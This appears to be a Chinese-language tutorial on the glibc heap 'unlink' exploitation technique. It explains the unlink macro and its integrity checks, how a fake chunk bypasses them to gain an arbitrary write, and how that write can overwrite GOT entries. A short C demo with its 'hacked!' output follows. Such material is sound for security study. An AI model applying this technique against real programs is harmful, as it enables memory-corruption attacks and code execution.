1 概述
Heap unlink exploit
前提是要對ptmalloc堆有一定的瞭解。
2 Unlink宏
Unlink:用來將一個雙向 bin 鏈表中的一個 chunk 取出來
參數:
AV:arena header(malloc_state)
P :將要unlink的chunk
BK:P後面的chunk <--
FD:P前面的chunk -->
具體過程如下:
將chunk從FD/BK鏈表中摘除;
如果是large chunk,則將chunk從fd_nextsize/bk_nextsize鏈表中摘除
安全檢查
對於samll chunk,只有前兩項檢查;
對於large chunk,還有第三項檢查;
檢查項 | 說明 |
corrupted size vs. prev_size | Chunk size是否一致 Glibc-2.26開始增加此檢查;
對於free chunk,有兩個地方存放了chunk的大小: 一個是本chunk的size字段; 一個是nextchunk的prev_size字段; |
corrupted double-linked list | 鏈表指針是否一致 什麼時候增加的此檢查?
檢查這兩個條件: P->fd->bk == P P->bk->fd == P |
corrupted double-linked list (not small) | Large chunk鏈表是否一致
檢查這兩個條件: P->fd_nextsize->bk_nextsize == P P->bk_nextsize->fd_nextsize == P |
Glibc-2.26中的相關代碼如下:
3 classic unlink exploit
1. Unlink主要的操作是將chunk P從FD/BK鏈表中刪除:
FD = P->fd;
BK = P->bk;
FD->bk = BK;
BK->fd = FD;
更簡單的描述,就是執行下面兩條語句:
P->fd->bk = P->bk
P->bk->fd = P->fd
最初的時候,沒有安全檢查;
2. 溢出修改Chunk P
設置P->fd = A
設置P->bk = B
3. unlink P時會這樣執行:
設置*(A+3*U) = B
設置*(B+2*U) = A
其中U = sizeof(void*)
4. 可以通過 unlink 實現任意地址寫
A和B都是用戶控制的地址
A+3*U的位置寫入了B
B+2*U的位置寫入了A
這裏隱含的條件是A+3*P和B+2*P必須是可寫的地址;
而且一次會修改兩個位置,這意味着如果只想修改一個地方的話,會有副作用。
5. 應用場景:
改寫got表項,最終造成任意代碼執行
4 當前的unlink
1. Unlink的安全檢查
對於small chunk,unlink有兩個安全檢查需要繞過:
l 大小檢查
chunksize(P) == prev_size (next_chunk(P))
l FD/BK鏈表檢查:
P->fd->bk == P
P->bk->fd == P
2. 繞過安全檢查
假設溢出時這樣修改Chunk P
設置P->fd = A
設置P->bk = B
則unlink P時,FD/BK鏈表檢查要求:
*(A+3*U) == P //找到一個地址,+3*U的地方存儲的是P
*(B+2*U) == P //找到一個地址,+2*U的地方存儲的是P
3. 產生的結果
如果繞過了這個檢查,則會產生這樣的效果:
P->fd->bk = P->bk //賦值
=> *(A+3*U) = B //A+3*U地址處的值從P改爲了B
P->bk->fd = P->fd //賦值
=> *(B+2*U) = A //B+2*U地址處的值從P改爲了A
5 unlink exploit實例
本實例來自https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit.html
測試環境爲Ubuntu 16.04
【程序說明】
Ø 首先分配了兩個small chunk(chunk1 和chunk2),大小爲0x80;
Ø 這裏假設攻擊者可以控制chunk1的內容(通過不安全的函數如strcpy等);
程序在chunk1的數據部分創建了一個假的chunk,繞過了FD/BK鏈表檢查:
unsigned long long *chunk1;
struct chunk_structure *fake_chunk;
fake_chunk = (struct chunk_structure *)chunk1;
fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3);
// Ensures P->fd->bk == P
fake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2);
// Ensures P->bk->fd == P
chunk1指針本身位於棧中。
因此,我們找到了一個地址(&chunk1),存放的是chunk1;
爲了滿足FD/BK鏈表條件:
*(A+3*U) == P //找到一個地址,+3*U的地方存儲的是P
*(B+2*U) == P //找到一個地址,+2*U的地方存儲的是P
A(FD)和B(BK)可以這樣設置:
A=&chunk1-3*U
B=&chunk1-2*U
Ø 溢出修改chunk2的頭部,設置prev_size字段,清除size字段的prev_in_use比特。這可以確保chunk2被釋放時,fake chunk被檢測到已經被釋放(freed),將被unlink;
Ø 內存佈局如下圖
Ø free(chunk2);
釋放chunk2時,會和低地址的fake chunk合併,合併之前,攻擊者的fake chunk會被unlink。
unlink會執行以下操作:
P->fd->bk = P->bk //賦值
=> *(A+3*U) = B //A+3*U地址處的值從P改爲了B
P->bk->fd = P->fd //賦值
=> *(B+2*U) = A //B+2*U地址處的值從P改爲了A
在這裏的效果,就是:
*(&chunk1) = &chunk1-2*U
*(&chunk1) = &chunk1-3*U
也就是chunk1指針現在被修改爲了&chunk1-3*U了
Chunk1[3] == chunk1 == &chunk1-3*U
內存分佈如下:
Ø 攻擊驗證
現在我們修改chunk1[3]的值,就可以修改chunk1指針
這裏將chunk1修改爲data,修改chunk1的值就是修改data的值
chunk1[3] = (unsigned long long)data;
strcpy(data, "Victim's data");
// Overwrite victim's data using chunk1
chunk1[0] = 0x002164656b636168LL;
printf("%s\n", data);
Ø 測試結果
millionsky@ubuntu-16:~/tmp/unlink$ ./a.out 0x7ffe9f7bce40 &chunk2=0x7ffe9f7bce48, &fake_chunk=0x7ffe9f7bce50, &chunk2_hdr=0x7ffe9f7bce58, data=0x7ffe9f7bce60 0x13bb010 0x13bb0a0 0x7ffe9f7bce28 0x7ffe9f7bce28 hacked! |
6 附件
7 結論
1. Unlink 的fd/bk鏈表檢查
P->fd->bk = P->bk
P->bk->fd = P->fd
2. Unlink exploit
假設溢出時這樣修改Chunk P
設置P->fd = A
設置P->bk = B
則unlink P時,FD/BK鏈表檢查要求:
*(A+3*U) == P //找到一個地址,+3*U的地方存儲的是P
*(B+2*U) == P //找到一個地址,+2*U的地方存儲的是P
如果繞過了這個檢查,則會產生這樣的效果:
P->fd->bk = P->bk //賦值
=> *(A+3*U) = B //A+3*U地址處的值從P改爲了B
P->bk->fd = P->fd //賦值
=> *(B+2*U) = A //B+2*U地址處的值從P改爲了A
3. 一個unlink exploit實例
//待unlink的chunk地址存儲在棧上
unsigned long long *chunk1;
因此,我們找到了一個棧地址(&chunk1),存放的是chunk1
A(FD)和B(BK)這樣設置,可以繞過FD/BK鏈表檢查:
A=&chunk1-3*U
B=&chunk1-2*U
unlink chunk1後:
*(&chunk1) = &chunk1-2*U
*(&chunk1) = &chunk1-3*U
也就是chunk1指針現在被修改爲了&chunk1-3*U了
Chunk1[3] == chunk1 == &chunk1-3*U
8 參考文章
1. https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit.html